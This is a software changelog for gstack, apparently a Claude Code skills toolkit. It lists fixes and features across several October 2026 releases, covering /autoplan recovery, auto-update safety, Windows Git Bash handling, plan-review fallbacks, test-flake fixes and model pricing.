The 2026-10-15 issue wave is fixed, with every adopted contributor patch kept under its author. Twenty-odd field reports and community PRs from the week after v1.91.101.0 (docs/designs/FIX_WAVE_2026_10_15.md): an /autoplan run locked by a Claude Code 2.1.300 compaction, /cso scans that could not finish, auto-updates that left conflict markers or held every Windows install, Windows pregate and restamp unable to run gstack's own scripts, plan reviews that lost their native second opinion on Claude Code 2.1.277+, and a batch of maintenance fixes. Each was reproduced with a test that failed first on v1.91.101.0.

What this means for you

Recovery and /cso

/autoplan continues after a Claude Code 2.1.300 auto-compaction. The journal reader follows the compact boundary's preserved segment, so the phase guard no longer denies every phase with close_incomplete (#3194, adopted from #3196 by @vilano93). A compaction layout gstack does not read yet now allows with a visible warning and a decision-log row (unrecognized_shape:compaction_unreachable) instead of locking the run; an orphaned or not-yet-flushed record still denies.

/cso Semgrep reports parse after redaction. A redacted bare number in a JSON report becomes a quoted marker, so the report is no longer discarded as INVALID_OUTPUT (#3185). Only scan stdout declared as JSON takes the JSON-aware path, and a finding that spans JSON structure still withholds the whole stream. Rerun scans that ended INVALID_OUTPUT.

/cso runs through OrbStack's Docker. Docker and the watchdog invoke the trusted realpath with argv0 docker, which OrbStack's multicall binary needs (#3187, adopted from #3188 by @aegixx).

The browse daemon recovers when every tab was closed outside browse. The next command opens a blank tab and says so once (open your page again with: browse goto <url>); status, stop and restart answer without opening one, and a context that cannot open a tab fails with BROWSE_TAB_UNRECOVERABLE (#3167, adopted from #3179 by @aftabkh4n).

The Bun floor check holds under zsh. zsh now reports Bun 1.3.2 as too old instead of accepting it, so /gstack-upgrade holds with BUN_TOO_OLD until you run bun upgrade. A bun --version the check cannot parse holds with BUN_VERSION_UNREADABLE and asks you to reinstall Bun from https://bun.sh (#3195).

Install, update and Windows

Auto-update no longer leaves conflict markers in your install. The updater and /gstack-upgrade share one helper, bin/gstack-ff-update: it saves your local edits in a rescue ref under refs/gstack/rescue/, moves the install with a two-way read-tree that refuses to overwrite anything it did not save, and prints once a day how to inspect (git -C '<install>' show --stat '<ref>'), export and delete the rescue. Adopts #3189 by @BenjaminDSmithy and #3191 by @Jesssullivan.

Windows auto-update is no longer held on every release (#3184, reported by @wengweiling). The hook check extracts the incoming release without tar, and the banner shows the hold instead of a stale "bun not found". If yours has been held since 1.91.89.0, run the recovery once (docs/troubleshooting.md#auto-update-held-install-recovery). Git Bash: cd ~/.claude/skills/gstack && git fetch origin main && d=$(mktemp -d) && git show FETCH_HEAD:bin/gstack-ff-update > "$d/gstack-ff-update" && bash "$d/gstack-ff-update" . FETCH_HEAD; s=$?; rm -rf "$d"; [ "$s" = 0 ] && ./setup Windows PowerShell: Set-Location -LiteralPath "$HOME\.claude\skills\gstack" -ErrorAction Stop; $gb = Join-Path (git --exec-path) '..\..\..\bin\bash.exe'; & $gb -c 'set -f; IFS=; git fetch origin main && d=$(mktemp -d) && git show FETCH_HEAD:bin/gstack-ff-update > $d/gstack-ff-update && bash $d/gstack-ff-update . FETCH_HEAD; s=$?; rm -rf -- $d; exit $s'; if ($LASTEXITCODE -eq 0) { .\setup.ps1 }

setup.ps1 works under Windows PowerShell 5.1 (#3130, reported by @gfl130902-maker). Its bash -c script holds no double quotes, which 5.1 stripped; an empty argument is refused up front (SETUP_PS1_EMPTY_ARGUMENT). It now finds Git Bash the same way the hooks do, including next to git --exec-path on arm64.

Windows pregate, restamp, regen, gate-diff and evidence run gstack's own scripts again (#3197, reported by @exGeni). Bun on Windows cannot execute an extensionless shebang script; every TypeScript caller now goes through lib/script-invocation.ts, which runs bash scripts through Git Bash. Git Bash outside C:\Program Files\Git (scoop, per-user, portable) is found next to git --exec-path. To pin one, in PowerShell: [Environment]::SetEnvironmentVariable('GSTACK_GIT_BASH', 'C:\Program Files\Git\bin\bash.exe', 'User'), then restart Claude Code. GSTACK_BASH still works as a deprecated alias; a path that does not exist is refused, and a non-MSYS bash on PATH (Cygwin, WSL) is no longer used. With no Git Bash, the error lists every place gstack looked and ends (BASH_UNAVAILABLE) (docs/troubleshooting.md#bash-unavailable).

Hooks are registered at your $HOME install when CLAUDE_CONFIG_DIR is a per-session directory that links back to it (#3180). Adopts #3181 by @Brit-juho (commit author NetrioGit).

Cursor no longer loads every skill twice from 1.31-era unprefixed folders (#3133, first reported by @andrewkjankowski in #3084). ./setup --host cursor removes only folders whose SKILL.md links into gstack and names them. Adopts #3152 by @szsunyuan.

A missing bunx is no longer reported as a network failure (#3131, reported by @gfl130902-maker). setup installs Chromium with bun x; exit 127 names the resolved Bun and how to skip the browser.

gstack-evidence records a content fingerprint in SHA-256 repositories.

Plan reviews

Plan reviews get their native second opinion back on Claude Code 2.1.277+ (#3182, reported by @HuellintonMota). Claude Code removed the TaskOutput tool, so /plan-ceo-review, /plan-eng-review and /plan-devex-review always reported "Outside voice unavailable" without Codex. The fallback now runs the Plan subagent in the background beside a five-minute timer; only a complete report that beats the timer counts. If you still see (OUTSIDE_VOICE_UNAVAILABLE), the cause names what is missing (docs/troubleshooting.md#outside-voice-unavailable); the review-log row carries unavailable_reason.

/plan-eng-review reads the CEO plan (#280). gstack-ceo-plan-find finds the /plan-ceo-review plan for this branch and the Design Doc Check reads its scope as data. A plan from another branch is disclosed (CEO plan found (from branch <b>, not <current>): <path>) and interactive reviewers are asked first. Thanks @szsunyuan (#3159).

Pregate, terminal agent and maintenance

Pregate finds tests in Next.js route groups and through tsconfig path aliases. Repo paths with ( ) [ ] + @ $ stay whole in the selection manifest and map to their files, and compilerOptions.paths resolve the way TypeScript does (exact pattern, then the most specific wildcard, targets in order; relative extends up to 4 hops). Uncertainty selects more tests, never fewer. A file with no lane gets --explain lines naming the unresolved specifiers. Thanks @vocodestudios (#3176).

Terminal-agent shutdown no longer orphans PTY descendants that ignore SIGHUP (Linux). Long-lived processes started from the sidebar terminal now end 3 seconds after the session closes; start them elsewhere if they must outlive it. Thanks @Y4NN777 (#3148, #3147).

gstack-skill-end writes its completion event before the final drain, so a full-tier end boundary pushes its own latest event. Thanks @Kkkkkuro (#3198).

gstack-config compares whole root paths and prints a recovery command that runs when a path contains a space or an apostrophe. Thanks @davidfragnoli-lang (#3186).

gstack-gbrain-sync no longer dirties a tracked .gitignore that already ignores the pin. Thanks @KuroChen (#3178).

GSTACK_IOS_LAUNCH_ENV passes a JSON object of environment variables to the app on every gstack-ios-qa-daemon launch: export GSTACK_IOS_LAUNCH_ENV='{"DEBUG_BRIDGE":"1"}', then restart the daemon. An invalid value or a GSTACK_ key refuses the launch with IOS_LAUNCH_ENV_INVALID. Thanks @Bmathews721 (split from #1796).

Functional /qa and /qa-only probe every documented input rule. The contract map asks for one invalid-input probe per stated rule (allowed characters, format, sign, range, arity), so an amount documented as digits-only is tried with a non-digit, not only zero and an overflow.

README no longer asks you to paste a skill list into CLAUDE.md (#3169). If you did, delete the "Available skills:" line; Claude Code lists installed skills itself.

Dependencies: sharp is declared; @huggingface/transformers 4.3.0 (onnxruntime-node 1.30.0) and dev @anthropic-ai/claude-agent-sdk 0.2.141 clear two transitive advisories, with identical classifier scores. Thanks @sonukapoor (#3145). CI actions bumped (dependabot #3175); Dependabot holds Playwright minor and major bumps behind the Windows windowsHide patch.

For contributors

lib/script-invocation.ts is the one way a TypeScript caller runs a gstack script or bash (resolveWindowsBash from one fixture table, test/fixtures/windows-bash-resolution.json, which setup.ps1's tests also drive); test/script-invocation-tripwire.test.ts fails on new by-path or bare-bash spawns. New .github/workflows/windows-pregate-e2e.yml exercises restamp, regen, evidence, gate-diff and the refusal on windows-latest.

lib/sanitize-echo.ts and its Bash twin bin/gstack-sanitize-echo.sh are the one sanitizer for echoed external strings.

New result codes, each with a troubleshooting entry: BUN_VERSION_UNREADABLE, BROWSE_TAB_UNRECOVERABLE, SETUP_PS1_EMPTY_ARGUMENT, BASH_UNAVAILABLE, IOS_LAUNCH_ENV_INVALID, OUTSIDE_VOICE_UNAVAILABLE.

Gate-integrity edits: the /autoplan phase guard's fail-open surface grows by exactly the compaction-explained unreachable component (existing unrecognized_shape allow-with-warning); pregate selection can only grow for alias-using repos; the plan-eng-review prompt-size ceiling rises from 1.2170 to 1.2196 for #3159.

Tests stop writing into your real home and stop inheriting your git hooks: ship-measure CLI tests get a private HOME (thanks @y$un_, #3163) and the redact pre-push fixtures ignore core.hooksPath (thanks @Lockyer228, #3156, #2967).

[1.91.105.0] - 2026-10-16

The free suite stops needing its retry pass. The health report tells the truth.

Six of 46 main runs last week needed the free suite's serial retry pass to go green. Five test files caused it, and three shared one cause: since git 2.29, every git commit starts a background git maintenance run that creates and deletes .git/objects/maintenance.lock after the commit has returned, so a test that lists, watches or deletes .git right afterwards sees a file that is there one moment and gone the next. Those fixtures now turn auto-maintenance off, and the free runner does it for every test child as a backstop. The other two flakes were a fixed-count poll and a smoke test that called live GitHub. gstack-timeline-read now refuses filters it cannot apply instead of returning everything.

The numbers that matter

Measured with the repo's own reproducer (scripts/ship-measure.ts free, flaky retry off), before on 47d639a and after on this branch. Commands and per-file counts are in the PR body.

Measurement Before After

The five ledger files, 16-vCPU Ubicloud VM (bun run test:ubicloud --diagnostic) 197/200 reruns clean 600/600

The three git fixtures under commit load, local runner env 37/200 clean 200/200

Next-version smoke test, live GitHub calls one gh api per open PR, one after another (27 PRs at 1.2 s: 32.6 s, past its 30 s limit) none (runs in about 60 ms)

Weekly health: unseeded free test files 164 (enforced check failing) 0

Weekly health: Windows wall population dispatch recordings on main ("n/a (0 runs)" on Oct 12) 78 successful PR runs, 9.2 min p50 (7 days to 2026-10-15)

The headline number is the first row: three of 200 clean-tree reruns failed before, none of 600 after.

What this means for you

When the free suite goes red now, it is far more likely to be your change. Read the failure, not the retry ledger.

Itemized changes

Fixed

If you run gstack-timeline-read --since or --branch without a value, you get exit 2 and --since must be a relative time like "7 days ago" (got no value); accepted: ... (or --branch must be a branch name (got flag '--limit')) instead of a crash.

If you pass --since yesterday or --since "2 weeks", you get exit 2 naming what it got, instead of your whole unfiltered history. Accepted forms: 7 days ago (minute, hour, day, week, month), 7d / 24h / 2w, and ISO dates 2026-10-01 or 2026-10-01T10:00:00Z.

If you pass an argument gstack-timeline-read does not know, it exits 2 with the usage line instead of ignoring it. --help prints the usage line.

Changed

If you read the weekly test-health report, "Free-suite and Windows wall" now measures successful Windows runs on pull requests, says so (windows-free-tests (successful PR runs) 9.2 min (78 runs)), and prints no successful PR runs in window when there are none. It used to average the dispatch-only duration recordings on main.

If the health report says the duration seed is stale, its fix line now names what the refresh needs (UBICLOUD_API_KEY, then bun run test:ubicloud --record-durations, which copies the seed back into your checkout) and tells contributors without the key to leave it to a maintainer. It no longer offers a CI recording, which does not exist.

For contributors

The free runner appends maintenance.auto=false and gc.auto=0 to every shard child's GIT_CONFIG_* pairs (test/test-free-shards-git-maintenance.test.ts). Fixtures that build their own git environment set the keys themselves; docs/TESTING_INTERNALS.md#flake-ledger has the rule and a recipe for reproducing a ledger entry from a CI run's free-plan artifact.

The zombie publication-lock test synchronizes on a PID line its Python parent prints after os.waitid(..., WNOWAIT), and the next-version smoke test runs the real CLI against a fake gh that logs and checks every call.

scripts/free-test-durations.json is refreshed from a Ubicloud recording of this tree.

No community contributions in this release.

[1.91.101.0] - 2026-10-13

The field wave's residual gaps are closed. v1.91.96.0 through v1.91.100.0 shipped the install-honesty and unattended-/autoplan wave (docs/designs/GSTACK_FIELD_WAVE_2026_10_12.md); running that release on a Capy machine left six gaps, each reproduced here with a test that failed first.

What this means for you

all no longer overrides a recommendation to change the plan. gstack-autoplan answer <rev> all resolves only the items the reviewers recommend keeping; an item recommended b stays pending (GATE_PENDING: <ids> unanswered …) with the hint all does not answer <id> (recommended b changes the plan); reply <id>a or <id>b yourself. all except <id>b still answers everything in one line.

Every gate answer names who gave it. answer takes --by <human|agent:<id>>; an unattended run refuses an answer without it (ANSWER_BY_REQUIRED, exit 3), and decisions.jsonl records answered_by so a review record can tell the owner's call from a delegate's.

Later reviewers see the earlier consensus. The DX and Design prompts carry the CEO consensus (and each later phase every closed predecessor's), the way Eng already did, so a reopened CEO decision reaches every phase that depends on it.

An upgrade never moves a checkout under a live session. Each gstack-skill-start touches an install-scoped lease (bin/gstack-lease, <git dir>/gstack-leases/<harness pid>, pruned after 120 minutes; the /autoplan driver renews it on every mutating command). gstack-upgrade refuses with UPGRADE_BUSY (exit 3) while a lease whose pid is alive and outside its own process chain exists; gstack-lease list shows them and GSTACK_UPGRADE_FORCE=1 overrides.

Capy sessions stay at the tip, not at the floor. GSTACK_MIN_REVISION is the floor below which the trailer fails and the frozen bootstrapper fast-forwards. Above it, bin/gstack-capy-session fast-forwards any clean, unpinned checkout behind origin at install-mode session start (SELF_UPGRADE: done <old> -> <new>, then installs from the new revision); a refusal prints SELF_UPGRADE: skipped (<reason>) and the session continues on the installed revision. --check never moves the checkout and reports gstack-capy-session: behind origin/<branch>: … fix: …. GSTACK_CAPY_SELF_UPGRADE=off disables only this fast-forward; GSTACK_CAPY_AUTO_UPGRADE=0 disables every one.

gstack's own tools run on the Bun that launched them. lib/autoplan-prompts.ts, lib/restamp.ts and bin/gstack-gbrain-sync.ts spawn process.execPath instead of whatever bun the PATH resolves, so a Capy machine whose PATH lacks ~/.bun/bin no longer fails mid-workflow (lib/autoplan-admission.ts keeps probing the PATH Bun on purpose; that probe is the point).

/ship and /review load the QA methods as three awaited steps. The exploratory preflight is now an ordered list (entrypoint, then scope.md, then each listed method, each in its own response) and names the smoke guard start, every capture and every plan check as probes that wait for them; the entrypoint alone completes nothing.

For contributors

test/autoplan-residuals.test.ts pins the all rule, the carried consensus, the process.execPath rule under lib/ and bin/*.ts, and --by; test/gstack-lease.test.ts covers the lease; test/gstack-upgrade-bin.test.ts and test/capy-skill-wrapper.test.ts cover UPGRADE_BUSY and SELF_UPGRADE:.

bin/gstack-harness-pid.sh is the one harness-pid derivation, sourced by bin/gstack-skill-start and bin/gstack-lease.

The test preload and test/helpers/hermetic-env.ts set a per-run GSTACK_LEASE_DIR, so no test leases the developer's checkout.

[1.91.100.0] - 2026-10-13

A gbrain LongMemEval call plan now prices in full. gbrain's eval longmemeval --call-plan (gbrain#6638) writes a GSTACK_EVAL_CALLS file for every lane of the run. gstack-eval-plan price-gate verified its binding but stopped at EVAL_PRICE_MISSING with the total unknown: it had no row for the judge (gpt-4o) or the reranker (rerank-2.5), and it did not recognize the dated Claude id gbrain resolves (claude-haiku-4-5-20251001). On the gbrain fixture plan (--mode tokenmax --judge) all seven lanes now price, for a total of $0.447.

What this means for you

Dated Claude snapshots bill at their alias's price. claude-<name>-YYYYMMDD, with or without a provider prefix, resolves to the claude-<name> row. Dated OpenAI snapshots are not folded, because some (gpt-4o-2024-05-13) have their own price.

New rows, sourced and dated in lib/pricing.ts: gpt-4o ($2.50 in, $10 out, $1.25 cached per million tokens) and the Voyage rerankers rerank-2.5 ($0.05) and rerank-2.5-lite ($0.02 per million processed tokens: query tokens × documents, plus document tokens).

For contributors

test/pricing-eval-plan.test.ts checks every model a gbrain call plan names. It failed before the change.

[1.91.99.0] - 2026-10-13

A Bun pin mismatch on Capy now names the one command that fixes it, and the skill says to run it. After gbrain pinned Bun 1.4.3 in CI, a session-start check on a gbrain checkout ended gstack: fail pins with a fix line that offered two choices and no command, and the skill's repair step only covered revision and runtime, so an agent following the skill left the machine failing. The same bootstrapper run without --check already installs the pinned Bun (a verified 1.4.3 in about 4 s) and ends gstack: ok.

What this means for you

The pins row's fix is the exact command on Capy. Under the Drive bootstrapper, FAIL pins … (PROJECT_PIN_MISMATCH) now says fix: bash <skill>/scripts/install.sh [--for <skill>] (installs the project's pinned Bun when it is a verified version: 1.4.2 1.4.3; otherwise it names the conflict), or change the pin in <project>. Outside Capy the fix text is unchanged.

The Capy skill's repair step covers pins. Step 2 runs the same command without --check when the trailer names revision, runtime or pins. A pin gstack has no verified archive for stops with RUNTIME_PIN_CONFLICT naming the pin to raise. The owner copies capy/skill/gstack/ to the Drive skill folder as before; scripts/install.sh is unchanged.

For contributors

test/gstack-doctor.test.ts checks the Capy fix line (with and without --for) and that the non-Capy text does not name the wrapper; it fails before the change.

[1.91.98.0] - 2026-10-13

A lane's plan obligations now meet the repo's own gates before it reports done. Paid gates get a price before approval, a restamp is proved stamp-only by machine, and sealed eval output can't ride a push into a public repo.

What this means for you

Repo guards run in gstack-pregate. .gstack/pregate.json takes guards: {id, when: [globs], command, fix}. When a changed file matches when, the guard runs in its own process with a timeout, and a failure names the guard and its fix. Guards cover the checks an import graph can't see, such as a serial-test manifest row or CLI goldens that spawn the binary. Required guards can't be downgraded, and without --allow-repo-commands the run is incomplete, never a pass. The lanes check runs on the verified Bun from the install's launch directory and runs serial test files one process each. Unknown flags exit 2 instead of being ignored.

gstack-eval-plan price-gate prices a paid gate without running it. It reads a versioned call-plan file (--plan-file, or price_file in the base branch's policy) that is bound to the gate command, head and inputs, and prints GATE_PRICE: with every precondition the file declares. Nothing runs before approval. A gate that declares no plan is EVAL_GATE_UNPRICED; --allow-unpriced "<reason>" approves it as a recorded owner override, never as permission to spend. A stale or malformed plan file refuses. The new reservation-fits-cap check catches a single call whose reservation can't fit under the smoke cap. /eval-plan prices every paid gate this way at approval, passing the gate command as a file (--gate-file) so a command with quotes or $ never goes through a shell string. The wire format and a reference emitter are in docs/eval-calls.md.

Current prices. Claude Sonnet 5.5, Gemini 3.x Flash and the gbrain embedding models are priced from the providers' pages (source and date in the table), and Claude Opus 4.7 is at its current list price ($5/$25 per million tokens).

gstack-pregate regate --against <gated-head> says whether a restamped head needs a new gate. It computes a fresh tree receipt and prints STAMP_ONLY:, one LANE: line per gate lane (reusable, rerun or not-reusable), MIGRATION_COLLISION: against the base and every other open PR, and REGATE: needed|not-needed. not-needed requires gate evidence for the gated head, an unchanged execution identity, no stamp-sensitive rerun and no unknown collision lookup. Bare --against is an alias.

The repo's stamp rule is the stamp rule. Ship policy takes stamp_files (the files allowed to differ) and literal stamp_patterns with one {version} slot, such as since: '{version}'. A pure restamp of a repo whose versions sit in quoted since: rows, package manifests or stamp comments now classifies as stamps. restamp_command runs the repo's own restamp inside restamp's staging worktree with the target version, on a clean tree; a failure or a wrong-version output writes nothing. The migrations key (directory and id pattern) feeds the collision check.

A sealed-output guard runs before a push. In a repo whose .gstack/pregate.json has a sealed key, the managed pre-push hook and gstack-pregate sealed check every commit the push publishes: forbidden paths (binary, empty, renamed and add-then-deleted files included), transcripts, quoted answer markers, seeds and machine-local paths. In a public repo a match refuses with the file, line and rule (SEALED_OUTPUT_REFUSED); in a private one it warns. The effective policy is the union of the base branch's and the pushed one, so a push can tighten the policy but never relax it. A malformed policy refuses, and unknown visibility counts as public. Waivers come only from a base-branch allow file. Repos without a sealed key see no change.

Lane handoffs carry the install and pregate lines. The coordinator contract now asks a lane to run gstack-pregate run --allow-repo-commands (and gstack-pregate sealed where configured) before reporting done. Its handoff lists GSTACK_RESULT, then gstack: ok|fail <rev>, then PREGATE:, then the gate summary.

For contributors

scripts/pr-dependencies.ts traces breadth-first, so a trace names the shortest chain from a case's touchfiles to a file (selection is unchanged).

New: lib/pregate/checks/guards.ts, lib/pregate/regate.ts, lib/pregate/runtime.ts, lib/sealed-guard.ts; docs docs/eval-calls.md, docs/pregate.md#regate and #gbrain-worked-configs.

New result codes with troubleshooting anchors include EVAL_GATE_UNPRICED, PREGATE_GUARD_FAILED, SEALED_OUTPUT_REFUSED and MIGRATION_COLLISION.

Pregate and ship-policy validators still refuse unknown keys, so a repo should commit guards, sealed, price_file, stamp_files, stamp_patterns, restamp_command or migrations only after its machines run this release.

[1.91.97.0] - 2026-10-13

An unattended /autoplan run on Capy now closes in its own run directory. Reviews done by Capy subagents bind with one command, a revised plan is reviewed in the same run, and the gate asks fewer, better questions.

What this means for you

submit --record <file> binds a review a subagent wrote by hand. It accepts the canonical findings fence, one findings table (Severity and Title columns), one severity-tagged list (- [High] title) or a No findings. line, and it never guesses a severity. A record whose INPUT: line is present but wrong is refused. A record without one binds only with --attest "<reason>" --attempt <id>; it is labeled receipt: attested, validate counts it (attested=<n>), and it is refused if the plan was revised after that attempt was dispatched. --attempt is optional when exactly one attempt is open. submit --voice outside --unavailable|--failed "<reason>" closes a phase whose outside voice cannot run, and next and resume never redispatch it.

revise --plan <v2> reviews a revised plan in the same run. Every phase whose reviewed Implementation-plan hash differs reopens (plus Eng) on the new snapshot; at the gate it starts the next gate revision. The revise is one recoverable step (resume finishes an interrupted one), and archives never overwrite each other. next prints PLAN_CHANGED and answer prints PLAN_SOURCE_CHANGED when the plan file moved since its snapshot.

Accepted plan changes must reach the plan. When the owner accepts a change at the gate, answer prints one APPLY: line per change and NEXT: gstack-autoplan revise …. next refuses with PLAN_AMEND_PENDING until revise --incorporates <decision ids> binds the edit, or the owner withdraws a change with --withdraw <id>. A run cannot export as complete with a change pending. Naming an id that is not pending (never accepted as a plan change, or already settled) refuses with AMENDMENT_UNKNOWN instead of asking for the edit you just made.

User-challenge defaults follow agreeing voices, and say why. When both voices flag the same finding as a change to scope, cost or direction (the same changes value) and both give a remedy, the item now recommends the change. Option b shows both remedies word for word, and the default is labeled recommended: b (both voices; remedies shown). Anything weaker keeps your direction, labeled (plan direction; voices disagree). all now accepts those agreed changes; reply all as-is to keep every direction in one token. p1's recommended text names the changes it would apply.

Reruns stop churning. Reviewers set user_challenge only for a change to scope, cost or direction (changes). On a rerun, a challenge without one becomes the agent's own decision and does not reopen anything. Rerun prompts carry a DECIDED AT THE GATE block, and answers to items from phases that did not rerun carry forward instead of being asked again. A partial reply never overwrites an earlier answer, and the gate stays open until every approval is settled.

A plan without the two sections is scaffolded, not refused with empty output. The first next explains PLAN_SECTIONS_INVALID; next --scaffold reviews a copy with the missing heading added and never edits your file.

Runs gated on older gstack still validate. A run directory from an older gstack prints GSTACK_VERSION_CHANGED once and moves forward, and decision ids minted before 1.91.95 are renamed and journaled, so a reopened run exported after upgrading validates. A run written by a newer gstack is refused.

Admission on Capy. next, submit, answer, revise, export and run make the same install check as skill start: under GSTACK_CAPY=1 they refuse without a passing install verdict (INSTALL_UNVERIFIED), and in an unattended session they refuse a PATH Bun below the supported minimum. status and resume always work.

Scope keys on what changes. The Design phase needs a rendered surface in the Implementation plan (a .tsx, .css or similar file, or a UI word next to a visual one); words in the Review record no longer count. next prints the evidence and the source per axis (source=ui:flag,dx:detected). --no-dx is new. A  marker on the plan's first line keeps flags across runs, and next prints the marker to add; gstack never writes your plan. The interactive skill uses the same detector.

PLAN_REALITY wants a receipt per measured number and the rule itself. Each clause stating a measured quantity (seconds, %, $, tokens, MB) needs its own file:line, script or command receipt (unreceipted_numbers=<n> plus one NUMBER_UNRECEIPTED: line each), and a line claiming a decision rule must quote or link it (unquoted=<n>). Receipts on dot paths such as .gstack/ship-policy.json:1 count. submit records the check for each plan revision; it never refuses a submit.

autoplan/DRIVER.md is the compact driver. About a hundred lines generated from the code: the phase order, the artifact contract, the gate protocol and the coordinator contract, with no hook prose. gstack-autoplan --help and the first next print its path, and any host can read it instead of the full autoplan skill.

Six submits at once bind once. run.lock is now created with its owner already written (a staged file linked into place), and an unreadable lock younger than 30 seconds counts as held, so a command that reads another's lock between create and write no longer deletes it and runs alongside it.

For contributors

New modules: lib/autoplan-revise.ts, lib/autoplan-migrate.ts, lib/autoplan-plan-text.ts, lib/autoplan-admission.ts, lib/autoplan-scope.ts, lib/source-root.ts, scripts/resolvers/autoplan-driver.ts.

test/autoplan-capy-e2e.test.ts drives the whole unattended loop on the simulated Capy host: canonical and attested records, an unavailable outside voice, partial replies, the amendment interlock, revise, an interrupted run resumed, three gate revisions and a validating export.

[1.91.96.0] - 2026-10-13

On a Capy machine, gstack now tells the truth about itself and fixes the common cases on its own. An old checkout upgrades itself at session start, the install check agrees with the Bun your workflows run, and every fix line names a command that exists.

What this means for you

bin/gstack-upgrade exists. It fast-forwards the checkout to the remote default branch and reinstalls (on Capy it runs the installer, so the Bun preflight comes first; elsewhere ./setup --refresh-registered, which runs migrations). It never stashes, resets or discards anything. A dirty, diverged, pinned or locked checkout is refused with UPGRADE_REFUSED, and an unreachable remote with UPGRADE_FETCH_FAILED. --check prints current or behind <installed> -> <remote> and changes nothing. The doctor's revision fix, the installer's --revision note and the unattended upgrade notice now name this command.

A checkout below the supported minimum upgrades itself at session start. The Capy skill's bootstrapper (capy/skill/gstack/scripts/install.sh) fetches the remote, reads capy/support.env from it, and, when the checkout is clean, unpinned and below GSTACK_MIN_REVISION, fast-forwards it under the install lock, reinstalls and rechecks. --check only reports gstack: fail revision … (fast-forward available); install mode does the work. A setup interrupted after the fast-forward is finished by the next run. GSTACK_CAPY_AUTO_UPGRADE=0 turns it off.

Workflows refuse while the install check fails. The installer writes a verdict file for this checkout and HEAD. Under GSTACK_CAPY=1, gstack-skill-start refuses a workflow whose verdict is missing, failed, for another HEAD or for a different workflow, and in any unattended session it refuses a PATH Bun below the minimum (status=refused, exit 3). GSTACK_ALLOW_UNSUPPORTED_RUNTIME=1 overrides and is recorded. Interactive sessions and other hosts' spawned sessions only warn.

The install check agrees with the Bun your workflows run. GSTACK_LAUNCH now carries PATH=<verified bun dir>:$PATH, GSTACK_CAPY=1 and GSTACK_INSTALL_VERDICT, and the wrapper prints it on --check as well as install. A bare doctor run in a fresh shell names the off-PATH Bun (bun 1.4.2 found at ~/.bun/bin (not on PATH)) with the exact fix. The installer reuses a verified Bun instead of downloading it again, and installs the version a project's CI pins next to a different system Bun. Planning-only checks (--for autoplan, the plan reviews, office-hours) report a project test-pin mismatch as SKIP pins (planning-only …); workflows that run the project's tests still require it.

A stale copy of the Capy skill gets an owner action instead of a silent pass. The canonical skill now lives in the repo at capy/skill/gstack/. The Drive copy is a small frozen bootstrapper that hands off to the checkout's full wrapper (bin/gstack-capy-session). An older copy keeps working and prints CAPY_WRAPPER_STALE with the copy command.

Machines that never run a workflow don't pay for the install. A warm install on the same HEAD skips setup (about 1 s). The skill installs before the first workflow rather than at every session start. docs/capy-install.md explains how to bake gstack into a Capy snapshot.

The installed Bun follows the project's exact pin. When the target repo pins one Bun version exactly (a CI bun-version:, .bun-version, engines) above gstack's minimum and gstack carries its verified archive (now 1.4.2 and 1.4.3), that archive is installed, so a repo moving its CI to 1.4.3 does not leave Capy machines on 1.4.2 failing pins. An exact pin without a verified archive stops with RUNTIME_PIN_CONFLICT and lists the verified versions.

For contributors

New: bin/gstack-upgrade, bin/gstack-capy-session, bin/gstack-install-verdict.sh, lib/install-verdict.ts, capy/support.env, capy/skill/gstack/. Tests test/gstack-upgrade-bin.test.ts, test/capy-skill-wrapper.test.ts, test/install-verdict.test.ts, and the shared simulated Capy host test/helpers/capy-host.ts (Bun 1.3.14 first on PATH, no Codex CLI).

GSTACK_MIN_REVISION is raised only for install-honesty or security fixes, at stamp time, never above VERSION (pinned by test).

[1.91.95.0] - 2026-10-12

A reopened /autoplan gate now exports a run that validates.

Answering a gate with an override reopens phases, and the next gate starts its item labels over (d1, p1, ...). Every decision row was minted as <run>-<label>, so the second gate's rows reused the first gate's ids, and gstack-artifact validate failed the exported run with ARTIFACT_DUPLICATE_ID.

What this means for you

Rows from a later gate get their own ids. Gate revision 1 keeps <run>-<label>. Revisions after a reopen use <run>-r<rev>-<label> (for example run-…-r2-d1). Reply grammar and labels are unchanged: you still answer d1b or all.

Tasks point at the approval that is open now. tasks.jsonl rows are blocked on the current gate's plan approval (<run>-r2-p1 after one reopen), not the first gate's answered one.

docs/unattended.md documents the id shape.

For contributors

decisionId(run, gateRev, itemId) in lib/gate-list.ts is the one place that mints these ids. decisionRows, the export's task builder and the owner brief's lookup all use it.

test/autoplan-answer-invalidation.test.ts drives a run through a reopen to a second gate, approves it, exports it and requires ARTIFACT_VALID. test/gate-list.test.ts checks unique ids across two revisions.

[1.91.94.0] - 2026-10-12

/codex review --effort medium runs one review at the effort you name, without changing your saved setting.

codex_effort (1.91.92.0) sets Codex reasoning effort for every run, and --xhigh raised it for one. There was no per-run way to go lower, so a cheaper one-off review meant flipping the setting and flipping it back.

What this means for you

--effort <level> on any /codex mode. /codex review --effort medium, /codex challenge --effort=low and so on set the effort for that request only. It outranks an exported GSTACK_CODEX_EFFORT, codex_effort and the per-mode defaults. --xhigh keeps working as shorthand for --effort xhigh.

Flags only where flags go. The flag counts directly after /codex or its mode word, alongside -m/--model/--role, before your prompt. /codex what does --effort do? sends that question to Codex instead of eating --effort as a setting, and /codex review --effort medium stays on native review. This also applies to --xhigh, which used to count anywhere in the input: /codex review fix the parser --xhigh now sends --xhigh as part of the instructions, so put it first (/codex review --xhigh fix the parser).

A typo costs nothing and says what to fix. --effort turbo stops before any Codex call, including the model probe on a cold cache, with 'turbo' from /codex --effort is not a Codex reasoning effort level and the list of levels. A missing value or conflicting effort flags stop with a message too.

docs: docs/model-policy.md documents the per-request flag, and docs/skills.md documents codex_effort and --effort and no longer claims Challenge runs at xhigh (it runs at high).

For contributors

gstack-codex-probe check-effort <default> --request <level> and run-with-timeout --effort <default> --request-effort <level> take the request level (empty means none) and name /codex --effort as its source. The five /codex dispatch fences pass it as the allowlisted '<effort-level>' placeholder (grammar ^[a-z]*$), so the level reaches the shell only as that quoted, allowlisted placeholder (never through prose), and the probe accepts only the seven levels. Test parsers of the run-with-timeout line accept the new argument.

test/codex-effort.test.ts runs all five rendered dispatches against a fake codex, and the bogus-level case asserts the rejection and zero calls. test/model-role-invocation.test.ts adds a zero-call case for an invalid level in Step 0.5.

Contributed by @jnunemaker

[1.91.93.0] - 2026-10-12

/cso release qualification gates on finished reports. Report completeness is still measured, but it no longer blocks a release.

